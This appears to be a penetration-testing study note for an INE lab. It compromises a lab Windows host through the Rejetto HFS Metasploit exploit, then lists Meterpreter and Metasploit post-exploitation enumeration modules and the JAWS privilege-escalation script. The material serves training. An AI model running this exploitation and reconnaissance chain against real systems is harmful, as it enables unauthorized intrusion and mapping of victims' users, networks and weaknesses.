🔬Windows Post-Exploitation

🔬 INE LAB

  • Target IP: 10.2.16.155

  • Local Windows Enumeration

📝📌 Always document and save all the Post-Exploitation Local Enumeration in a local file.

Enumeration & Exploitation

nmap -sV 10.2.16.155
    80/tcp    open  http         HttpFileServer httpd 2.3
    135/tcp   open  msrpc        Microsoft Windows RPC
    139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
    445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
    3389/tcp  open  ssl/ms-wbt-server?
    49152/tcp open  msrpc        Microsoft Windows RPC
    49153/tcp open  msrpc        Microsoft Windows RPC
    49154/tcp open  msrpc        Microsoft Windows RPC
    49155/tcp open  msrpc        Microsoft Windows RPC
searchsploit rejetto
service postgresql start && msfconsole -q
search rejetto
use exploit/windows/http/rejetto_hfs_exec
setg RHOSTS 10.2.16.155
setg RHOST 10.2.16.155
run
	meterpreter >

Local Enumeration

System Information

  • In the Meterpreter session

  • In the Windows command prompt session

  • Get specific info about the KBs. pay attention to the Security Updates

Users & Groups

  • Privilege escalation is not necessary in this case

  • Enumerate current/recent logged-on users

Metasploit - post/windows/gather/enum_logged_on_users
  • Back into the Meterpreter session

  • In the Windows command prompt session

  • Enumerate current logged-on users

  • Display all the accounts

  • Enumerate groups

Network Information

  • Show network adapter info

  • Display the routing table

  • Check the arp table for a list of all devices on the network

  • List open listening connections/ports

  • Win Firewall state

Processes & Services

  • Enumerate all running processes, from a Meterpreter session

  • Process migration is recommended to obtain a stable Meterpreter session

  • In the Windows command prompt session

  • List started services

  • List the running tasks and the corresponding services

  • List the scheduled tasks

📌 Scheduled tasks can be misconfigured and vulnerable to exploitation and privilege escalation!

Automating Local Enum

🔬 INE LAB

JAWS - PowerShell 2.0 script designed to help penetration testers quickly identify potential privilege escalation vectors on Windows systems.

Enumeration & Exploitation

Elevated Meterpreter session

Metasploit Post-Exploitation

  • Enumerate current user privileges

Metasploit - post/windows/gather/win_privs
  • Enumerate logged on users

Metasploit - post/windows/gather/enum_logged_on_users
  • Check if the target is a VM or a container

Metasploit - post/windows/gather/checkvm
  • Enumerate installed applications

    • Search for vulnerabilities in the installed programs

Metasploit - post/windows/gather/enum_applications
  • Enumerate same LAN computers

Metasploit - post/windows/gather/enum_computers
  • Enumerate installed updates/patches

Metasploit - post/windows/gather/enum_patches
  • Enumerate the SMB shares

Metasploit - post/windows/gather/enum_shares

JAWS

  • Copy the content of the jaws-enum.ps1 script and save it in the lab environment

jaws-enum.ps1
  • Back into the MSFconsole session, copy the jaws-enum.ps1 file into the C:\temp target directory

  • Run jaws-enum.ps1 and output the results in a file

jaws-enum.ps1

Last updated

Was this helpful?